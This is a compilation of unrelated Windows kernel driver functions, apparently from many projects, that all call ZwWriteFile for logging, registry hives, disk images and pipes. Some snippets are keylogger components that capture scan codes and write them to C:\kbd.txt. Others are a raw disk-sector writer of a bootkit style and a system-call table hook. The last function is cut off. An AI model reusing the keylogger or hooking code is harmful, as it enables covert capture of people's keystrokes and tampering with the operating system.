NTSTATUS Log_WriteLine(PLOG_COUNTED_STRING Line) { NTSTATUS Status = STATUS_SUCCESS; IO_STATUS_BLOCK StatusBlock; FILE_STANDARD_INFORMATION Info; if (!LogFile) return STATUS_INVALID_HANDLE; if (!InterlockedCompareExchange(&LogRotationInProgress, 1, 0)) { Status = ZwQueryInformationFile(LogFile, &StatusBlock, &Info, sizeof(Info), FileStandardInformation); if (!NT_SUCCESS(Status)) { return Status; } if (Info.DeletePending && LogFileName) { ZwClose(LogFile); LogFile = NULL; Status = Log_StartFileLogging(LogFileName); if (!NT_SUCCESS(Status)) return Status; } else if (Info.EndOfFile.QuadPart >= LogSettings.MaxFileSize) { Status = Log_Rotate(); } LogRotationInProgress = 0; } if (NT_SUCCESS(Status) && LogFile) Status = ZwWriteFile(LogFile, NULL, NULL, NULL, &StatusBlock, Line->Data, Line->DataLength, NULL, NULL); return Status; }
/* * @implemented */ NTSTATUS NTAPI RtlCreateBootStatusDataFile(VOID) { OBJECT_ATTRIBUTES ObjectAttributes; IO_STATUS_BLOCK IoStatusBlock; LARGE_INTEGER AllocationSize; LARGE_INTEGER ByteOffset; UNICODE_STRING FileName; HANDLE FileHandle; NTSTATUS Status; /* Initialize the file name */ RtlInitUnicodeString(&FileName, L"\\SystemRoot\\bootstat.dat"); /* Initialize the object attributes */ InitializeObjectAttributes(&ObjectAttributes, &FileName, OBJ_CASE_INSENSITIVE, NULL, NULL); AllocationSize.QuadPart = 0x800; DBG_UNREFERENCED_LOCAL_VARIABLE(AllocationSize); /* Create the boot status data file */ Status = ZwCreateFile(&FileHandle, FILE_GENERIC_READ | FILE_GENERIC_WRITE, &ObjectAttributes, &IoStatusBlock, NULL, //&AllocationSize, FILE_ATTRIBUTE_SYSTEM, 0, FILE_CREATE, FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0); if (NT_SUCCESS(Status)) { // FIXME: Initialize the buffer in a better way. UCHAR Buffer[12] = {0xC,0,0,0, 1,0,0,0, 1, 0x1e, 1, 0}; ByteOffset.QuadPart = 0; Status = ZwWriteFile(FileHandle, NULL, NULL, NULL, &IoStatusBlock, &Buffer, 12, //BufferSize, &ByteOffset, NULL); } /* Close the file */ ZwClose(FileHandle); return Status; }
BOOLEAN NTAPI CmpFileWrite(IN PHHIVE RegistryHive, IN ULONG FileType, IN PULONG FileOffset, IN PVOID Buffer, IN SIZE_T BufferLength) { PCMHIVE CmHive = (PCMHIVE)RegistryHive; HANDLE HiveHandle = CmHive->FileHandles[FileType]; LARGE_INTEGER _FileOffset; IO_STATUS_BLOCK IoStatusBlock; NTSTATUS Status; /* Just return success if no file is associated with this hive */ if (HiveHandle == NULL) return TRUE; /* Don't do anything if we're not supposed to */ if (CmpNoWrite) return TRUE; _FileOffset.QuadPart = *FileOffset; Status = ZwWriteFile(HiveHandle, NULL, NULL, NULL, &IoStatusBlock, Buffer, (ULONG)BufferLength, &_FileOffset, NULL); return NT_SUCCESS(Status) ? TRUE : FALSE; }
static Boolean ssh_file_flush_wr_cache(SshFileIoContext io_ctx) { if (io_ctx->wr_cache) { IO_STATUS_BLOCK iosb; NTSTATUS status; status = ZwWriteFile(io_ctx->handle, NULL, NULL, NULL, &iosb, io_ctx->wr_cache, io_ctx->wr_cache_size - io_ctx->wr_cache_left, NULL, NULL); io_ctx->wr_cache_ptr = io_ctx->wr_cache; io_ctx->wr_cache_left = io_ctx->wr_cache_size; if (!NT_SUCCESS(status)) return FALSE; } return TRUE; }
int sysWriteFile( IN FILE_HANDLE handle, IN void* buffer, IN long long offset, IN unsigned long length) { IO_STATUS_BLOCK IoStatus; LARGE_INTEGER byteOffset; NTSTATUS status; byteOffset.QuadPart = offset; status = ZwWriteFile( handle, NULL, NULL, NULL, &IoStatus, buffer, length, &byteOffset, NULL ); if(status != STATUS_SUCCESS) { return -1; } return IoStatus.Information; }
// // Write to file at specified offset // VDKSTAT VdkWriteFileAt( HANDLE FileHandle, INT64 Offset, PVOID Buffer, ULONG Length, PULONG_PTR Result) { LARGE_INTEGER loffset; IO_STATUS_BLOCK io_status; NTSTATUS status; loffset.QuadPart = Offset; status = ZwWriteFile( FileHandle, NULL, NULL, NULL, &io_status, Buffer, Length, &loffset, NULL); if (!NT_SUCCESS(status)) { VDKTRACE(VDKWRITE, ("[VDK] ZwWriteFile %s\n", VdkStatusStr(status))); } if (Result) { *Result = io_status.Information; } return status; }
/* * =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ** * * * =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ** */ VOID WriteDataFile( PDEVICE_EXTENSION theDeviceExtension ) { NTSTATUS Status; IO_STATUS_BLOCK IOStatus; KdPrint( ("KDL: WriteDataFile() (%d) [%s].\n", strlen( theDeviceExtension->WriteBuffer ), theDeviceExtension->WriteBuffer ) ); // Write our formated string out to the log file Status = ZwWriteFile( theDeviceExtension->LogFile, // FileHandle NULL, // Event NULL, // ApcRoutine NULL, // ApcContext &IOStatus, // IoStatusBlock theDeviceExtension->WriteBuffer, // Buffer strlen( theDeviceExtension->WriteBuffer ),// Length &theDeviceExtension->theEOF, // ByteOffset NULL ); // Key #if DBG // Error catch if we had a problem with the file handle if ( Status != STATUS_SUCCESS ) { KdPrint( ("FAILED FILE WRITE 0x%x\n",Status) ); } #endif }
////////////////////////////////////////////////////////////////////////// // save the key buffer to the file. void SaveToFile(IN PCHAR buffer,IN int length) { WCHAR fileName[] = L"\\??\\C:\\kbd.txt"; UNICODE_STRING unifilename; NTSTATUS status; OBJECT_ATTRIBUTES oa; HANDLE hFile; IO_STATUS_BLOCK iostatus; LARGE_INTEGER ByteOffset={0} ; if (!buffer) { return; } RtlInitUnicodeString(&unifilename,fileName); InitializeObjectAttributes(&oa,&unifilename, OBJ_CASE_INSENSITIVE|OBJ_KERNEL_HANDLE, NULL,NULL); status = ZwCreateFile(&hFile,FILE_APPEND_DATA,&oa,&iostatus,NULL,FILE_ATTRIBUTE_NORMAL, FILE_SHARE_DELETE|FILE_SHARE_WRITE|FILE_SHARE_READ,FILE_OVERWRITE_IF, 0,0,0); if(NT_SUCCESS(status)) { status=ZwWriteFile(hFile,NULL,NULL,NULL,&iostatus,buffer,length,&ByteOffset,NULL); if (!(NT_SUCCESS(status))) { DbgPrint("ZwWriteFile Failed %8x",status); } ZwClose(hFile); } else DbgPrint("ZwCreateFile Failed %8x",status); }
Boolean ssh_file_write(SshFileIoContext io_ctx, void *data, SshUInt32 data_len) { IO_STATUS_BLOCK iosb; if (io_ctx->wr_cache) { Boolean status = TRUE; if (io_ctx->wr_cache_left < (data_len + 1)) status = ssh_file_flush_wr_cache(io_ctx); RtlCopyMemory(io_ctx->wr_cache_ptr, data, data_len); io_ctx->wr_cache_ptr += data_len; io_ctx->wr_cache_left -= data_len; *(io_ctx->wr_cache_ptr) = 0; return status; } else { if (NT_SUCCESS(ZwWriteFile(io_ctx->handle, NULL, NULL, NULL, &iosb, data, data_len, NULL, NULL))) return TRUE; else return FALSE; } }
/* * @implemented */ NTSTATUS NTAPI RtlGetSetBootStatusData(IN HANDLE FileHandle, IN BOOLEAN WriteMode, IN RTL_BSD_ITEM_TYPE DataClass, IN PVOID Buffer, IN ULONG BufferSize, OUT PULONG ReturnLength) { IO_STATUS_BLOCK IoStatusBlock; LARGE_INTEGER ByteOffset; NTSTATUS Status; DPRINT("RtlGetSetBootStatusData (%p %u %d %p %lu %p)\n", FileHandle, WriteMode, DataClass, Buffer, BufferSize, ReturnLength); if (DataClass >= RtlBsdItemMax) return STATUS_INVALID_PARAMETER; if (BufferSize > BsdItemTable[DataClass].Size) return STATUS_BUFFER_TOO_SMALL; ByteOffset.HighPart = 0; ByteOffset.LowPart = BsdItemTable[DataClass].Offset; if (WriteMode) { Status = ZwReadFile(FileHandle, NULL, NULL, NULL, &IoStatusBlock, Buffer, BufferSize, &ByteOffset, NULL); } else { Status = ZwWriteFile(FileHandle, NULL, NULL, NULL, &IoStatusBlock, Buffer, BufferSize, &ByteOffset, NULL); } if (NT_SUCCESS(Status)) { if (ReturnLength) *ReturnLength = BsdItemTable[DataClass].Size; } return Status; }
// Switchs the current log buffer, saves the contents of old buffer to the log // file, and prints them out as necessary. This function does not flush the log // file, so code should call LogpWriteMessageToFile() or ZwFlushBuffersFile() // later. _Use_decl_annotations_ static NTSTATUS LogpFlushLogBuffer(LogBufferInfo *info) { NT_ASSERT(info); NT_ASSERT(KeGetCurrentIrql() == PASSIVE_LEVEL); auto status = STATUS_SUCCESS; // Enter a critical section and acquire a reader lock for info in order to // write a log file safely. ExEnterCriticalRegionAndAcquireResourceExclusive(&info->resource); // Acquire a spin lock for info.log_buffer(s) in order to switch its head // safely. KLOCK_QUEUE_HANDLE lock_handle = {}; KeAcquireInStackQueuedSpinLock(&info->spin_lock, &lock_handle); const auto old_log_buffer = const_cast<char *>(info->log_buffer_head); if (old_log_buffer[0]) { info->log_buffer_head = (old_log_buffer == info->log_buffer1) ? info->log_buffer2 : info->log_buffer1; info->log_buffer_head[0] = '\0'; info->log_buffer_tail = info->log_buffer_head; } KeReleaseInStackQueuedSpinLock(&lock_handle); // Write all log entries in old log buffer. IO_STATUS_BLOCK io_status = {}; for (auto current_log_entry = old_log_buffer; current_log_entry[0]; /**/) { // Check the printed bit and clear it const auto printed_out = LogpIsPrinted(current_log_entry); LogpSetPrintedBit(current_log_entry, false); const auto current_log_entry_length = strlen(current_log_entry); status = ZwWriteFile(info->log_file_handle, nullptr, nullptr, nullptr, &io_status, current_log_entry, static_cast<ULONG>(current_log_entry_length), nullptr, nullptr); if (!NT_SUCCESS(status)) { // It could happen when you did not register IRP_SHUTDOWN and call // LogIrpShutdownHandler() and the system tried to log to a file after // a file system was unmounted. LogpDbgBreak(); } // Print it out if requested and the message is not already printed out if (!printed_out) { LogpDoDbgPrint(current_log_entry); } current_log_entry += current_log_entry_length + 1; } old_log_buffer[0] = '\0'; ExReleaseResourceAndLeaveCriticalRegion(&info->resource); return status; }
//中断请求等级为 passive VOID ThreadKeyLogger(IN PVOID pContext) { PDEVICE_EXTENSION pKeyboardDeviceExtension = (PDEVICE_EXTENSION)pContext; PDEVICE_OBJECT pKeyboardDeviceOjbect = pKeyboardDeviceExtension->pKeyboardDevice; PLIST_ENTRY pListEntry; KEY_DATA* kData; //主循环体,得到键值 while(true) { // 等待可用数据进入队列 KeWaitForSingleObject(&pKeyboardDeviceExtension->semQueue,Executive,KernelMode,FALSE,NULL); pListEntry = ExInterlockedRemoveHeadList(&pKeyboardDeviceExtension->QueueListHead, &pKeyboardDeviceExtension->lockQueue); if(pKeyboardDeviceExtension->bThreadTerminate == true) { PsTerminateSystemThread(STATUS_SUCCESS); } kData = CONTAINING_RECORD(pListEntry,KEY_DATA,ListEntry); //转换扫描到的值 char keys[3] = {0}; ConvertScanCodeToKeyCode(pKeyboardDeviceExtension,kData,keys); //判断键值是否写入文件 if(keys != 0) { // 将数据写入文件 if(pKeyboardDeviceExtension->hLogFile != NULL) //判断文件是否有效 { IO_STATUS_BLOCK io_status; DbgPrint("Writing scan code to file...\n"); NTSTATUS status = ZwWriteFile(pKeyboardDeviceExtension->hLogFile,NULL,NULL,NULL, &io_status,&keys,strlen(keys),NULL,NULL); if(status != STATUS_SUCCESS) DbgPrint("Writing scan code to file...\n"); else DbgPrint("Scan code '%s' successfully written to file.\n",keys); } } } return; }//ThreadLogKeyboard
// // Reads or writes specified number of sectors from/to the specified buffer. // NTSTATUS _stdcall BkSectorIo( PUNICODE_STRING DriveName, // drive name to read/write sectors from/to PCHAR Buffer, // bufer to store the data ULONG Length, // size of the buffer ULONGLONG StartSector, // starting LBA sector ULONG Count, // number of sectors to read/write ULONG Flags // variouse operation flags ) { HANDLE hDrive; NTSTATUS ntStatus = STATUS_BUFFER_TOO_SMALL; OBJECT_ATTRIBUTES oa = {0}; IO_STATUS_BLOCK IoStatus = {0}; LARGE_INTEGER FilePos = {0}; ULONG ObjectFlags = OBJ_CASE_INSENSITIVE; #ifdef _M_AMD64 if ((ULONG_PTR)&ObjectFlags & 0x8000000000000000) #else if ((ULONG_PTR)&ObjectFlags & 0x80000000) #endif ObjectFlags |= OBJ_KERNEL_HANDLE; InitializeObjectAttributes(&oa, DriveName, ObjectFlags, NULL, NULL); if ((Count * BIOS_DEFAULT_SECTOR_SIZE) <= Length) { // ntStatus = ZwCreateFile(&hDrive, FILE_GENERIC_READ | FILE_GENERIC_WRITE, &oa, &IoStatus, NULL, 0, // FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_OPEN, FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0); ntStatus = ZwOpenFile(&hDrive, FILE_GENERIC_READ | FILE_GENERIC_WRITE, &oa, &IoStatus, FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT); if (NT_SUCCESS(ntStatus)) { FilePos.QuadPart = (StartSector * BIOS_DEFAULT_SECTOR_SIZE); if (Flags & BK_IO_WRITE) ntStatus = ZwWriteFile(hDrive, 0, NULL, NULL, &IoStatus, Buffer, (Count*BIOS_DEFAULT_SECTOR_SIZE), &FilePos, NULL); else ntStatus = ZwReadFile(hDrive, 0, NULL, NULL, &IoStatus, Buffer, (Count*BIOS_DEFAULT_SECTOR_SIZE), &FilePos, NULL); ZwClose(hDrive); } // if (hDrive != INVALID_HANDLE_VALUE) } // if ((Count * BIOS_DEFAULT_SECTOR_SIZE) <= Length) return(ntStatus); }
/* * This helper runs a program from the driver service. * Connection is estabilished with named pipe. */ void run_process(DWORD i, WCHAR *pwcProg) { DbgPrint("Runing %ls...\r\n", pwcProg); while (!NT_SUCCESS(KeWaitForMutexObject(&mutex, Executive, KernelMode, FALSE, NULL))); LARGE_INTEGER delay = RtlConvertUlongToLargeInteger(300000l); NTSTATUS status; HANDLE pipe; OBJECT_ATTRIBUTES fattrs; UNICODE_STRING pipe_name; IO_STATUS_BLOCK io_stat_block; RtlInitUnicodeString(&pipe_name, L"\\??\\pipe\\drvtest"); InitializeObjectAttributes(&fattrs, &pipe_name, OBJ_CASE_INSENSITIVE | 0x0200/*OBJ_KERNEL_HANDLE*/, 0, NULL); status = ZwCreateFile(&pipe, FILE_WRITE_DATA | FILE_READ_DATA | SYNCHRONIZE, &fattrs, &io_stat_block, NULL, 0, FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_OPEN, FILE_NON_DIRECTORY_FILE, NULL, 0); if (!NT_SUCCESS(status)) DbgPrint("Alert! 0x%0.8x, 0x%0.8x\r\n", status, io_stat_block.Status); example_ioctl_data out_data = { code: MCODE_SPAWN }; wcscpy(out_data.rprog, pwcProg); status = ZwWriteFile(pipe, NULL, NULL, NULL, &io_stat_block, &out_data, sizeof(out_data), NULL, NULL); if (!NT_SUCCESS(status)) DbgPrint("Alert! 0x%0.8x\r\n", status); DWORD pid; do { status = ZwReadFile(pipe, NULL, NULL, NULL, &io_stat_block, &pid, sizeof(DWORD), NULL, NULL); if (!NT_SUCCESS(status)) KeDelayExecutionThread(KernelMode, FALSE, &delay); } while(STATUS_PENDING == status); if (!NT_SUCCESS(status)) DbgPrint("Alert! 0x%0.8x\r\n", status); DbgPrint("PID: %d\r\n", pid); g_proc_table[i].sl_pid = pid; ZwClose(pipe); KeReleaseMutex(&mutex, FALSE); return; /* return proc_infn.dwProcessId; */ }
NTSTATUS NTAPI HookZwWriteFile( IN HANDLE FileHandle, IN HANDLE Event OPTIONAL, IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, IN PVOID ApcContext OPTIONAL, OUT PIO_STATUS_BLOCK IoStatusBlock, IN PVOID Buffer, IN ULONG Length, IN PLARGE_INTEGER ByteOffset OPTIONAL, IN PULONG Key OPTIONAL ) { ModifyProcAddress(SERVICE_INDEX(ZwWriteFile), OldAddress); DbgPrint("Hit ZwWriteFile"); KeSetEvent(pEvent, IO_NO_INCREMENT, FALSE); KeWaitForSingleObject(pCallBack, Executive, UserMode, FALSE, NULL); int code = pShare -> Code; NTSTATUS ret; switch (code) { case CODE_ALLOW: DbgPrint("Allowed\n"); ret = ZwWriteFile( FileHandle, Event, ApcRoutine, ApcContext, IoStatusBlock, Buffer, Length, ByteOffset, Key ); break; case CODE_DENY: DbgPrint("Denied\n"); ret = STATUS_ACCESS_DENIED; break; default: DbgPrint("UNEXPECTED\n"); ret = STATUS_UNEXPECTED_IO_ERROR; } ModifyProcAddress(SERVICE_INDEX(ZwWriteFile), NewAddress); return ret; }
co_rc_t co_os_transfer_file_block(co_monitor_t *cmon, void *host_data, void *linuxvm, unsigned long size, co_monitor_transfer_dir_t dir) { IO_STATUS_BLOCK isb; NTSTATUS status; co_os_transfer_file_block_data_t *data; co_rc_t rc = CO_RC_OK; HANDLE FileHandle; data = (co_os_transfer_file_block_data_t *)host_data; FileHandle = (HANDLE)(data->fdev->sysdep); if (CO_MONITOR_TRANSFER_FROM_HOST == dir) { status = ZwReadFile(FileHandle, NULL, NULL, NULL, &isb, linuxvm, size, &data->offset, NULL); } else { status = ZwWriteFile(FileHandle, NULL, NULL, NULL, &isb, linuxvm, size, &data->offset, NULL); } if (status != STATUS_SUCCESS) { co_debug("block io failed: %x %x (reason: %x)\n", linuxvm, size, status); rc = CO_RC(ERROR); } data->offset.QuadPart += size; return rc; }
static co_rc_t transfer_file_block(co_monitor_t *cmon, void *host_data, void *linuxvm, unsigned long size, co_monitor_transfer_dir_t dir) { IO_STATUS_BLOCK isb; NTSTATUS status; co_os_transfer_file_block_data_t *data; co_rc_t rc = CO_RC_OK; data = (co_os_transfer_file_block_data_t *)host_data; if (CO_MONITOR_TRANSFER_FROM_HOST == dir) { status = ZwReadFile(data->file_handle, NULL, NULL, NULL, &isb, linuxvm, size, &data->offset, NULL); } else { status = ZwWriteFile(data->file_handle, NULL, NULL, NULL, &isb, linuxvm, size, &data->offset, NULL); } if (status != STATUS_SUCCESS) { co_debug_error("block io failed: %p %lx (reason: %x)", linuxvm, size, (int)status); rc = co_status_convert(status); } data->offset.QuadPart += size; return rc; }
// Switch the current log buffer and save the contents of old buffer to the log // file. This function does not flush the log file, so code should call // LogpWriteMessageToFile() or ZwFlushBuffersFile() later. EXTERN_C static NTSTATUS LogpWriteLogBufferToFile( _In_opt_ LogBufferInfo *Info) { NT_ASSERT(Info); NT_ASSERT(KeGetCurrentIrql() == PASSIVE_LEVEL); auto status = STATUS_SUCCESS; // Enter a critical section and acquire a reader lock for Info in order to // write a log file safely. ExEnterCriticalRegionAndAcquireResourceExclusive(&Info->Resource); // Acquire a spin lock for Info.LogBuffer(s) in order to switch its head // safely. const auto irql = KeAcquireSpinLockRaiseToDpc(&Info->SpinLock); auto oldLogBuffer = const_cast<char *>(Info->LogBufferHead); if (oldLogBuffer[0]) { Info->LogBufferHead = (oldLogBuffer == Info->LogBuffer1) ? Info->LogBuffer2 : Info->LogBuffer1; Info->LogBufferHead[0] = '\0'; Info->LogBufferTail = Info->LogBufferHead; } KeReleaseSpinLock(&Info->SpinLock, irql); // Write all log entries in old log buffer. IO_STATUS_BLOCK ioStatus = {}; for (auto currentLogEntry = oldLogBuffer; currentLogEntry[0]; /**/) { const auto currentLogEntryLength = strlen(currentLogEntry); status = ZwWriteFile(Info->LogFileHandle, nullptr, nullptr, nullptr, &ioStatus, currentLogEntry, static_cast<ULONG>(currentLogEntryLength), nullptr, nullptr); if (!NT_SUCCESS(status)) { // It could happen when you did not register IRP_SHUTDOWN and call // LogIrpShutdownHandler() and the system tried to log to a file after // a filesystem was unmounted. DBG_BREAK(); } currentLogEntry += currentLogEntryLength + 1; } oldLogBuffer[0] = '\0'; ExReleaseResourceAndLeaveCriticalRegion(&Info->Resource); return status; }
// Logs the current log entry to and flush the log file. _Use_decl_annotations_ static NTSTATUS LogpWriteMessageToFile( const char *message, const LogBufferInfo &info) { NT_ASSERT(KeGetCurrentIrql() == PASSIVE_LEVEL); IO_STATUS_BLOCK io_status = {}; auto status = ZwWriteFile(info.log_file_handle, nullptr, nullptr, nullptr, &io_status, const_cast<char *>(message), static_cast<ULONG>(strlen(message)), nullptr, nullptr); if (!NT_SUCCESS(status)) { // It could happen when you did not register IRP_SHUTDOWN and call // LogIrpShutdownHandler() and the system tried to log to a file after // a file system was unmounted. LogpDbgBreak(); } status = ZwFlushBuffersFile(info.log_file_handle, &io_status); return status; }
// Logs the current log entry to and flush the log file. EXTERN_C static NTSTATUS LogpWriteMessageToFile( _In_ const char *Message, _In_ const LogBufferInfo &Info) { NT_ASSERT(KeGetCurrentIrql() == PASSIVE_LEVEL); IO_STATUS_BLOCK ioStatus = {}; auto status = ZwWriteFile(Info.LogFileHandle, nullptr, nullptr, nullptr, &ioStatus, const_cast<char *>(Message), static_cast<ULONG>(strlen(Message)), nullptr, nullptr); if (!NT_SUCCESS(status)) { // It could happen when you did not register IRP_SHUTDOWN and call // LogIrpShutdownHandler() and the system tried to log to a file after // a filesystem was unmounted. DBG_BREAK(); } status = ZwFlushBuffersFile(Info.LogFileHandle, &ioStatus); return status; }
NTSTATUS DriverEntry(IN PDRIVER_OBJECT pDriveObject,IN PUNICODE_STRING RegisterPath) { OBJECT_ATTRIBUTES obj_attrib; //为一个结构 NTSTATUS status; IO_STATUS_BLOCK Io_Status_Block; HANDLE hFile = NULL; UNICODE_STRING usStr; __asm int 3 ; RtlInitUnicodeString(&usStr,L"\\??\\c:\\asm\demo.asm"); //用 Initializeobjectattributes宏 初始化 OBJECT_ATTRIBUTES 这个结构; // 初始化文件路径 InitializeObjectAttributes(&obj_attrib, &usStr, // 需要操作的对象、比如文件或注册表路径等 OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL); // 创建文件 status = ZwCreateFile(&hFile, //如果这个函数调用返回成成功(STATUS_SUCCESS),那就么打开的文件句柄就返回在这个地址内 GENERIC_ALL, //申请的权限 &obj_attrib, //对象描述 &Io_Status_Block, //操作的结果 NULL, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_READ, //共享方式 FILE_CREATE, //打开方式 FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0 ); // 写入到目标文件 status = ZwWriteFile(hFile, //打开文件的句柄 NULL, NULL, NULL, &Io_Status_Block, //需要自己定义一个该类型变量传入做参数 usStr.Buffer, //数据写入的缓冲区指针 usStr.Length, //写入数据的长度 NULL, NULL); //关闭文件 ZwClose(hFile); pDriveObject->DriverUnload=DDK_Unload; return STATUS_SUCCESS; }
void terminate_process(DWORD dwProcessId) { if (!dwProcessId) return; DbgPrint("Killing %d...\r\n", dwProcessId); while (!NT_SUCCESS(KeWaitForMutexObject(&mutex, Executive, KernelMode, FALSE, NULL))); LARGE_INTEGER delay = RtlConvertUlongToLargeInteger(300000l); NTSTATUS status; HANDLE pipe; OBJECT_ATTRIBUTES fattrs; UNICODE_STRING pipe_name; IO_STATUS_BLOCK io_stat_block; RtlInitUnicodeString(&pipe_name, L"\\??\\pipe\\drvtest"); InitializeObjectAttributes(&fattrs, &pipe_name, OBJ_CASE_INSENSITIVE | 0x0200/*OBJ_KERNEL_HANDLE*/, 0, NULL); for (int i = 0; i < 10; ++i) { status = ZwCreateFile(&pipe, FILE_WRITE_DATA | SYNCHRONIZE, &fattrs, &io_stat_block, NULL, 0, FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_OPEN, FILE_NON_DIRECTORY_FILE, NULL, 0); if (!NT_SUCCESS(status)) KeDelayExecutionThread(KernelMode, FALSE, &delay); else break; } if (!NT_SUCCESS(status)) DbgPrint("Alert! 0x%0.8x, 0x%0.8x\r\n", status, io_stat_block.Status); example_ioctl_data out_data = { code: MCODE_TERM, pid: dwProcessId }; status = ZwWriteFile(pipe, NULL, NULL, NULL, &io_stat_block, &out_data, sizeof(out_data), NULL, NULL); if (!NT_SUCCESS(status)) DbgPrint("Alert! 0x%0.8x\r\n", status); ZwClose(pipe); KeReleaseMutex(&mutex, FALSE); return; }
BOOLEAN NTAPI CmpFileWrite(IN PHHIVE RegistryHive, IN ULONG FileType, IN PULONG FileOffset, IN PVOID Buffer, IN SIZE_T BufferLength) { PCMHIVE CmHive = (PCMHIVE)RegistryHive; HANDLE HiveHandle = CmHive->FileHandles[FileType]; LARGE_INTEGER _FileOffset; IO_STATUS_BLOCK IoStatusBlock; NTSTATUS Status; _FileOffset.QuadPart = *FileOffset; Status = ZwWriteFile(HiveHandle, 0, 0, 0, &IoStatusBlock, Buffer, BufferLength, &_FileOffset, 0); return NT_SUCCESS(Status) ? TRUE : FALSE; }
BOOLEAN WritePolicyFile(PCHAR buffer) { int len = strlen(buffer); IO_STATUS_BLOCK isb; if (!NT_SUCCESS(ZwWriteFile(hFile, NULL, NULL, NULL, &isb, (PVOID) buffer, len, (PLARGE_INTEGER) &offset, NULL))) { LOG(LOG_SS_LEARN, LOG_PRIORITY_DEBUG, ("WritePolicyFile(): ZwReadFile failed\n")); return FALSE; } if (isb.Information != len) { LOG(LOG_SS_LEARN, LOG_PRIORITY_DEBUG, ("WritePolicyFile(): Asked to write %d bytes. Wrote only %d\n", len, isb.Information)); } offset += isb.Information; return TRUE; }
BOOLEAN LogMessage(PCHAR szFormat, ...) { ULONG Length; char messagebuf[256]; va_list va; IO_STATUS_BLOCK IoStatus; OBJECT_ATTRIBUTES objectAttributes; NTSTATUS status; HANDLE FileHandle; UNICODE_STRING fileName; //format the string va_start(va,szFormat); vsprintf(messagebuf,szFormat,va); va_end(va); //get a handle to the log file object fileName.Buffer = NULL; fileName.Length = 0; fileName.MaximumLength = sizeof(DEFAULT_LOG_FILE_NAME) + sizeof(UNICODE_NULL); fileName.Buffer = ExAllocatePool(PagedPool, fileName.MaximumLength); if (!fileName.Buffer) { return FALSE; } RtlZeroMemory(fileName.Buffer, fileName.MaximumLength); status = RtlAppendUnicodeToString(&fileName, (PWSTR)DEFAULT_LOG_FILE_NAME); //DbgPrint("\n Initializing Object attributes"); InitializeObjectAttributes (&objectAttributes, (PUNICODE_STRING)&fileName, OBJ_CASE_INSENSITIVE, NULL, NULL ); DbgPrint("\n BusLogic - Creating the file"); status = ZwCreateFile(&FileHandle, FILE_APPEND_DATA | SYNCHRONIZE, &objectAttributes, &IoStatus, 0, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_WRITE, FILE_OPEN_IF, FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0 ); if(NT_SUCCESS(status)) { CHAR buf[300]; LARGE_INTEGER time; KeQuerySystemTime(&time); DbgPrint("\n BusLogic - Created the file"); //put a time stamp on the output message sprintf(buf,"%10u-%10u %s",time.HighPart,time.LowPart,messagebuf); //format the string to make sure it appends a newline carrage-return to the //end of the string. Length=strlen(buf); if(buf[Length-1]=='\n') { buf[Length-1]='\r'; strcat(buf,"\n"); Length++; } else { strcat(buf,"\r\n"); Length+=2; } buf[Length+1] = '\0'; DbgPrint("\n BusLogic - Writing to the file"); DbgPrint("\n BusLogic - Buf = %s", buf); status = ZwWriteFile(FileHandle, NULL, NULL, NULL, &IoStatus, buf, Length, NULL, NULL ); ZwClose(FileHandle); } if (fileName.Buffer) ExFreePool (fileName.Buffer); return STATUS_SUCCESS; }
void DebugPrintSystemThread(IN PVOID Context) { UNICODE_STRING DebugPrintName; OBJECT_ATTRIBUTES ObjectAttributes; IO_STATUS_BLOCK IoStatus; HANDLE DebugPrintDeviceHandle; LARGE_INTEGER OneSecondTimeout; PDEBUGPRINT_EVENT pEvent; PLIST_ENTRY pListEntry; ULONG EventDataLen; NTSTATUS status; //LARGE_INTEGER ByteOffset; KeSetPriorityThread(KeGetCurrentThread(),LOW_REALTIME_PRIORITY); //创建文件 RtlInitUnicodeString(&DebugPrintName,L"\\Device\\PHDDebugPrint"); InitializeObjectAttributes(&ObjectAttributes,&DebugPrintName,OBJ_CASE_INSENSITIVE,NULL,NULL); DebugPrintDeviceHandle=NULL; status=ZwCreateFile(&DebugPrintDeviceHandle, GENERIC_READ|GENERIC_WRITE|SYNCHRONIZE, &ObjectAttributes, &IoStatus, 0, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_READ|FILE_SHARE_WRITE, FILE_OPEN, FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0); if(!NT_SUCCESS(status)||DebugPrintDeviceHandle==NULL) goto exit1; //线程主循环代码,写文件 DBGPRINT(("XIAN CHENG KAI SHI")); OneSecondTimeout.QuadPart=-1i64*1000000i64; DebugPrintStarted=TRUE; while(TRUE) { KeWaitForSingleObject(&ThreadEvent,Executive,KernelMode,FALSE,&OneSecondTimeout); while(TRUE) { pListEntry=ExInterlockedRemoveHeadList(&EventList,&EventListLock); if(pListEntry==NULL) { //DBGPRINT(("WOKAOHAIMEILIANSHANG")); break; } else { DBGPRINT(("YOU QING KUANG")); } pEvent= CONTAINING_RECORD(pListEntry,DEBUGPRINT_EVENT,ListEntry); EventDataLen=pEvent->Len; status=ZwWriteFile(DebugPrintDeviceHandle,NULL,NULL,NULL, &IoStatus,pEvent->EventData,EventDataLen,NULL,NULL); if(!NT_SUCCESS(status)) { DBGPRINT("MEI FA XIE A"); } else { DBGPRINT("WO XIE!"); } ExFreePool(pEvent); } if(ExitNow) break; } exit1: if(ThreadObjectPointer!=NULL) { ObDereferenceObject(&ThreadObjectPointer); ThreadObjectPointer=NULL; } ///////////////////////////////////// //有待商榷 DebugPrintStarted=FALSE; ZwClose(DebugPrintDeviceHandle); ///////////////////////////////////// KeSetEvent(&ThreadExiting,0,FALSE); 